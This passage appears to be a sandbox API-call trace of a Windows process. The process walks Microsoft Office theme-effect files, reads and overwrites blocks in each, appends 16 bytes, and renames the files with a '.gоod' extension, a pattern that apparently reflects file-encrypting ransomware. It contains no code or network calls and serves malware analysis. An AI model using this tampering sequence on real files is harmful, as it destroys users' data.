cAlternateFileName="SMOKEY~1.EFT")) returned 1 [0153.136] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb17b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Subtle Solids.eftx", cAlternateFileName="SUBTLE~1.EFT")) returned 1 [0153.136] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Shadow.eftx", cAlternateFileName="TOPSHA~1.EFT")) returned 1 [0153.136] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.136] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0153.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0153.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects", lpFilePart=0x0) returned 0x47 [0153.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0153.138] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.138] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Banded Edge.eftx", cAlternateFileName="BANDED~1.EFT")) returned 1 [0153.138] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x530f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extreme Shadow.eftx", cAlternateFileName="EXTREM~1.EFT")) returned 1 [0153.139] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51933, dwReserved0=0x0, dwReserved1=0x0, cFileName="Frosted Glass.eftx", cAlternateFileName="FROSTE~1.EFT")) returned 1 [0153.139] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glossy.eftx", cAlternateFileName="GLOSSY~1.EFT")) returned 1 [0153.139] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glow Edge.eftx", cAlternateFileName="GLOWED~1.EFT")) returned 1 [0153.139] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56208, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grunge Texture.eftx", cAlternateFileName="GRUNGE~1.EFT")) returned 1 [0153.139] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inset.eftx", cAlternateFileName="INSET~1.EFT")) returned 1 [0153.139] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Milk Glass.eftx", cAlternateFileName="MILKGL~1.EFT")) returned 1 [0153.140] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2007 - 2010.eftx", cAlternateFileName="OFFICE~1.EFT")) returned 1 [0153.140] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflection.eftx", cAlternateFileName="REFLEC~1.EFT")) returned 1 [0153.140] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x480a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riblet.eftx", cAlternateFileName="RIBLET~1.EFT")) returned 1 [0153.140] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d753, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smokey Glass.eftx", cAlternateFileName="SMOKEY~1.EFT")) returned 1 [0153.140] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb17b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Subtle Solids.eftx", cAlternateFileName="SUBTLE~1.EFT")) returned 1 [0153.140] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Shadow.eftx", cAlternateFileName="TOPSHA~1.EFT")) returned 1 [0153.313] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0153.768] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Shadow.eftx", cAlternateFileName="TOPSHA~1.EFT")) returned 0 [0153.768] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0153.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0153.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0153.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", lpFilePart=0x0) returned 0x58 [0153.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0153.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), fInfoLevelId=0x0, lpFileInformation=0x32e4698 | out: lpFileInformation=0x32e4698*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaeb)) returned 1 [0153.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0153.770] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", lpFilePart=0x0) returned 0x58 [0153.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0153.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0153.771] GetFileType (hFile=0x808) returned 0x1 [0153.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0153.771] GetFileType (hFile=0x808) returned 0x1 [0153.771] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0153.771] ReadFile (in: hFile=0x808, lpBuffer=0x32e4b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x32e4b10*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0153.773] CloseHandle (hObject=0x808) returned 1 [0153.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", lpFilePart=0x0) returned 0x58 [0153.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0153.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0153.773] GetFileType (hFile=0x808) returned 0x1 [0153.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0153.773] GetFileType (hFile=0x808) returned 0x1 [0153.773] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xbaeb [0153.773] WriteFile (in: hFile=0x808, lpBuffer=0x32e5dd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x32e5dd8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0153.775] CloseHandle (hObject=0x808) returned 1 [0153.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", lpFilePart=0x0) returned 0x58 [0153.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0153.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0153.775] GetFileType (hFile=0x808) returned 0x1 [0153.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0153.775] GetFileType (hFile=0x808) returned 0x1 [0153.775] ReadFile (in: hFile=0x808, lpBuffer=0x32e80c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x32e80c8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0153.803] CloseHandle (hObject=0x808) returned 1 [0153.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", lpFilePart=0x0) returned 0x58 [0153.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0153.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0153.803] GetFileType (hFile=0x808) returned 0x1 [0153.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0153.803] GetFileType (hFile=0x808) returned 0x1 [0153.803] WriteFile (in: hFile=0x808, lpBuffer=0x32e6df0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x32e6df0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0153.804] CloseHandle (hObject=0x808) returned 1 [0153.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx", lpFilePart=0x0) returned 0x58 [0153.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.gоod", lpFilePart=0x0) returned 0x5d [0153.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0153.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x57e39d7f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbafb)) returned 1 [0153.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0153.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.gоod")) returned 1 [0153.808] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", lpFilePart=0x0) returned 0x5b [0153.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0153.808] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), fInfoLevelId=0x0, lpFileInformation=0x3364560 | out: lpFileInformation=0x3364560*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1139e160, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1139e160, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x530f9)) returned 1 [0153.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0153.808] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", lpFilePart=0x0) returned 0x5b [0153.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0153.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0153.809] GetFileType (hFile=0x808) returned 0x1 [0153.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0153.809] GetFileType (hFile=0x808) returned 0x1 [0153.809] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0153.809] ReadFile (in: hFile=0x808, lpBuffer=0x33649d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x33649d8*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0154.145] CloseHandle (hObject=0x808) returned 1 [0154.145] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", lpFilePart=0x0) returned 0x5b [0154.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0154.145] GetFileType (hFile=0x808) returned 0x1 [0154.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0154.145] GetFileType (hFile=0x808) returned 0x1 [0154.145] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x530f9 [0154.146] WriteFile (in: hFile=0x808, lpBuffer=0x3416b40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3416b40*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0154.147] CloseHandle (hObject=0x808) returned 1 [0154.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx", lpFilePart=0x0) returned 0x5b [0154.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0154.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 